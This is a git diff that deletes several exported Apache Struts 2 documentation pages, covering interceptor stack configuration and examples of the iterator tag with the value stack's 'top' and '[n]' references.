-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Introducing Interceptors</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="introducing-interceptors.html">Introducing Interceptors</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Introducing Interceptors</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=24187261">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=24187261">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=24187261">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=24187261">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=24187261">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=24187261">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, interceptors, is available at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples</a></p></div [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="register" class="org.apache.struts.register.action.Register" method="execute"&gt;
-	&lt;interceptor-ref name="timer" /&gt;
-	&lt;interceptor-ref name="logger" /&gt;
-	&lt;interceptor-ref name="defaultStack"&gt;
-		&lt;param name="exception.logEnabled"&gt;true&lt;/param&gt;
-		&lt;param name="exception.logLevel"&gt;ERROR&lt;/param&gt;
-	&lt;/interceptor-ref&gt;
-	&lt;result name="success"&gt;thankyou.jsp&lt;/result&gt;
-	&lt;result name="input"&gt;register.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-</pre>
-</div></div><p>The logger interceptor logs the start and end of the execution of an Action. The timer interceptor logs the amount of time (in milliseconds) for execution of the Action. These two interceptors used together can provide developers useful feedback.</p><p>In the code example above note the three interceptor-ref nodes. Each one has a value for the name attribute. For the register Action we are instructing the framework to use the timer, logger, and defaultStack interceptors. T [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;package name="basicstruts2" extends="struts-default" &gt; 
-
-
-       &lt;interceptors&gt; 
-
-         &lt;interceptor-stack name="appDefault"&gt; 
-
-            &lt;interceptor-ref name="timer" /&gt; 
-
-            &lt;interceptor-ref name="logger" /&gt; 
-
-            &lt;interceptor-ref name="defaultStack" /&gt; 
-
-         &lt;/interceptor-stack&gt; 
-
-        &lt;/interceptors&gt;          
-
-        &lt;default-interceptor-ref name="appDefault" /&gt; 
-
-       &lt;!-- rest of package omitted --&gt; 
-
-&lt;/package&gt; 
-
-</pre>
-</div></div><p>In the code above we use the interceptors node to define a new stack of interceptors that includes the timer, logger, and defaultStack interceptors. We give this new interceptor stack a name of appDefault. Then we use the default-interceptor-ref node to specify that for all Actions defined inside this package node the appDefault stack of interceptors are to be used. Thus the timer and logger interceptor will be executed for each Action in this package.</p><p>Note that in b [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/introduction.html b/content/docs/introduction.html
deleted file mode 100644
index 4d268be..0000000
--- a/content/docs/introduction.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Introduction</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="user-guide.html">User Guide</a>&nbsp;&gt;&nbsp;<a href="introduction.html">Introduction</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Introduction</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=4325452">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=4325452">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=4325452">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=4325452">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=4325452">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=4325452">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/iterator-tag-examples.html b/content/docs/iterator-tag-examples.html
deleted file mode 100644
index 630c46b..0000000
--- a/content/docs/iterator-tag-examples.html
+++ /dev/null
@@ -1,248 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Iterator tag examples</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="iterator-tag-examples.html">Iterator tag examples</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Iterator tag examples</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13958">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13958">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13958">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13958">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13958">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13958">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This follows on from <a shape="rect" href="struts-tags.html">Struts Tags</a> which you should read first, but beware of references to '[0]' and 'that'; what you really want is <strong>top</strong>, as illustrated below.</p>
-
-<h4 id="Iteratortagexamples-Referencingthecurrentvalue">Referencing the current value</h4>
-
-<p>The simple examples print out values from the list using the property tag, which uses the value at the top of the stack by default:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-Days:
-&lt;ul&gt;
-&lt;s:iterator value="days"&gt;
-    &lt;li&gt;&lt;s:property/&gt;&lt;/li&gt;
-    &lt;!-- The following expression is equal: --&gt;
-    &lt;li&gt;&lt;s:property value="top"/&gt;&lt;/li&gt;
-&lt;/s:iterator&gt;
-&lt;/ul&gt;
-</pre>
-</div></div>
-
-<p>But if you're doing anything other than print the value, you probably need to refer to it specifically. Do this:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-Most days:
-&lt;ul&gt;
-&lt;s:iterator value="days"&gt;
-    &lt;s:if test="top != 'Monday'"&gt;
-        &lt;li&gt;&lt;s:property/&gt;
-    &lt;/s:if&gt;
-&lt;/s:iterator&gt;
-&lt;/ul&gt;
-</pre>
-</div></div>
-
-<h4 id="Iteratortagexamples-Iteratingoveralistofobjects">Iterating over a list of objects</h4>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:iterator value="employees"&gt;
-    &lt;s:property value="name"/&gt; is the &lt;s:property value="jobTitle"/&gt;&lt;br&gt;
-&lt;/s:iterator&gt;
-</pre>
-</div></div>
-
-<p>For 'name' and 'jobTitle' you could be more explicit and write 'top.name' and 'top.jobTitle', as 'top' refers to the object on the top of the stack. It's not necessary here, but it is in the next example.</p>
-
-<h4 id="Iteratortagexamples-Iteratingoveralistoflists">Iterating over a list of lists</h4>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;table&gt;
-    &lt;s:iterator value="grid"&gt;
-        &lt;tr&gt;
-        &lt;s:iterator value="top"&gt;
-            &lt;td&gt;&lt;s:property/&gt;&lt;/td&gt;
-        &lt;/s:iterator&gt;
-        &lt;/tr&gt;
-    &lt;/s:iterator&gt;
-&lt;/table&gt;
-</pre>
-</div></div>
-
-<p>The trick here is to use 'top' as the value for the inner iterator. This example probably uses a two-dimensional array, but you can use the pattern for any list of lists.</p>
-
-<h4 id="Iteratortagexamples-Amorecomplexexample">A more complex example</h4>
-
-<p>In this example, 'countries' is a list of country objects, each of which has a name and a list of cities. Each city has a name.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:iterator value="countries"&gt;
-    &lt;s:iterator value="cities"&gt;
-        &lt;s:property value="name"/&gt;, &lt;s:property value="[1].name"/&gt;&lt;br&gt;
-    &lt;/s:iterator&gt;
-&lt;/s:iterator&gt;
-</pre>
-</div></div>
-
-<p>The output looks like</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>Wellington, New Zealand
-Auckland, New Zealand
-Moscow, Russia
-Glasgow, Scotland
-Edinburgh, Scotland
-Stockholm, Sweden
-</pre>
-</div></div>
-
-<p>Both the country and city objects have a 'name' property. As you'd expect, the reference to 'name' on its own gives you the city name. To access the country name - effectively "hidden" by the city name - we refer to a specific position on the stack: '[1]'. The top of the stack, position 0, contains the current city, pushed on by the inner iterator; position 1 contains the current country, pushed there by the outer iterator.</p>
-
-<p>Actually, as Patrick points out in his comment on <a shape="rect" href="control-tags.html">Iteration Tags</a>, the '[n]' notation refers to a sub-stack beginning at position n, not just the object at position n. Thus '[0]' is the whole stack and '[1]' is everything except the top object. In our example, we could have been more specific about getting the country name and said '[1].top.name'.</p>
-
-
-<h4 id="Iteratortagexamples-Misc">Misc</h4>
-<p>If no value is specified, iterator will try to grap object from the 'top' of the stack. If it is not iterable, ClassCastException will be thrown in the process. @see com.opensymphony.webwork.views.jsp.IteratorTag#doStartTag</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/iterator.html b/content/docs/iterator.html
deleted file mode 100644
index 83c90e5..0000000
--- a/content/docs/iterator.html
+++ /dev/null
@@ -1,303 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>iterator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="iterator.html">iterator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">iterator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13893">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13893">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13893">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13893">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13893">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13893">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The <code>id</code> attribute is deprecated in Struts 2.1.x, and has been replaced by the <code>var</code> attribute.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The <code>begin</code>, <code>end</code> and <code>step</code> attributes are only available from 2.1.7 on</p></div></div>
-
-<h2 id="iterator-Description">Description</h2>
-
-
-<p></p><p>Iterator will iterate over a value. An iterable value can be any of: java.util.Collection, java.util.Iterator,
-java.util.Enumeration, java.util.Map, or an array.</p>
-
-
-<h1 id="iterator-Parameters">Parameters</h1>
-
